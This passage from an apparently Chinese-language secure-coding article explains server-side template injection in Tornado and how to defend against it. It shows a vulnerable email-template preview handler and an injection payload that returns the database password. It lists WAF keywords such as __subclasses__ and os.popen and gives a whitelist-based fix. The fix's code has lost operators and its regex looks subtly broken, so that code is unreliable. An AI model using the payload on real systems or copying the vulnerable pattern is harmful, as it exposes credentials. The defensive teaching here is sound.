从数据库读取旧模板的逻辑省略 … # 危险操作直接将用户提交的内容作为新模板保存和预览 try: preview_html tornado.template.Template(new_content).generate(site_nameconfig.SITE_NAME) self.write({“success”: True, “preview”: preview_html}) except Exception as e: self.write({“success”: False, “error”: str(e)})攻击者可以在content参数中注入{{ handler.settings[‘database_password’] }}预览时就能直接返回数据库密码。我们的修复方案输入校验与净化我们无法完全禁止模板语法因为这就是功能需求。但我们可以进行严格的限制。我们定义了一个安全的模板变量白名单只允许替换有限的、预定义的变量如{{ site_name }},{{ user_name }},{{ date }}等。我们编写了一个简单的解析器使用正则表达式提取所有{{ … }}和{% … %}块然后检查块内的内容是否只包含白名单中的变量名和有限的过滤器如| lower。任何超出范围的语法都直接拒绝。引入安全的模板渲染函数import re import tornado.template ALLOWED_VARS {‘site_name’, ‘user_name’, ‘date’, ‘link’} ALLOWED_FILTERS {‘lower’, ‘upper’, ‘trim’} def safe_render_template(template_str, **context): “”“只允许渲染白名单内的变量和过滤器”“” # 1. 检查所有模板变量块 var_pattern r‘\{\{\s*([^|}])(?:\s*\|\s*([^}]))?\s*\}\}’ for match in re.finditer(var_pattern, template_str): var_part match.group(1).strip() filter_part match.group(2) # 检查变量名 if var_part not in ALLOWED_VARS: raise ValueError(f“Disallowed variable in template: {var_part}”) # 检查过滤器 if filter_part: filters [f.strip() for f in filter_part.split(‘|’)] for f in filters: if f not in ALLOWED_FILTERS: raise ValueError(f“Disallowed filter in template: {f}”) # 2. 禁止控制语句块{% … %}此功能不需要 if re.search(r‘\{%’, template_str): raise ValueError(“Control statements are not allowed in email templates.”) # 3. 使用Tornado模板渲染但传入的context只包含白名单变量或对其做过滤 safe_context {k: v for k, v in context.items() if k in ALLOWED_VARS} return tornado.template.Template(template_str).generate(**safe_context)然后在Handler中调用preview_html safe_render_template(new_content, site_nameconfig.SITE_NAME, user_name“Test User”)增加操作日志与审计任何对邮件模板的修改操作都记录详细的操作日志包括修改人、时间、修改前后的内容摘要便于事后追溯。这个方案平衡了功能需求与安全性。它没有试图去解析和验证所有可能的模板语法那会非常复杂且容易出错而是采取了“最小权限原则”只允许功能必需的那部分语法从根本上杜绝了注入的可能性。6. 防御的延伸思考与高级话题在基础防御之上还有一些更深层次的考虑。关于WAFWeb应用防火墙商用或开源的WAF通常可以配置规则来拦截常见的SSTI攻击Payload例如检测请求参数中是否包含__class__、__subclasses__、os.popen等关键词。这可以作为一道有效的边界防护。但是WAF不能替代安全的代码。攻击者可以通过编码、混淆、拆分等方式绕过静态规则。WAF应该是纵深防御中的一层而不是唯一的一层。静态代码分析SAST的集成如前所述可以将SSTI漏洞模式编写成规则集成到CI/CD流水线中。例如使用Bandit工具并编写自定义规则检测项目中所有对tornado.template.Template的调用检查其第一个参数是否为字符串格式化操作使用%或str.format或f-string且包含了来自请求self.get_argument的变量。这能在代码提交阶段就发现潜在问题。威胁建模与攻击面收敛在项目设计初期就进行威胁建模问自己哪些功能需要动态模板渲染这些功能的用户是谁可信度如何能否用更安全的方式实现比如静态模板AJAX加载数据通过收敛攻击面将动态模板渲染的功能限制在最小、最可控的范围内可以大幅降低风险。最后安全是一个持续的过程。Tornado的SSTI漏洞只是一个具体的例子它背后反映的是一种通用的安全思维永远不要信任用户输入对任何将用户输入作为代码或指令执行的地方保持最高警惕。无论是模板引擎、数据库查询、系统命令调用还是反序列化操作这条原则都适用。定期对代码进行安全审计对团队进行安全培训将安全实践融入开发流程才能构建出真正健壮的应用。
)
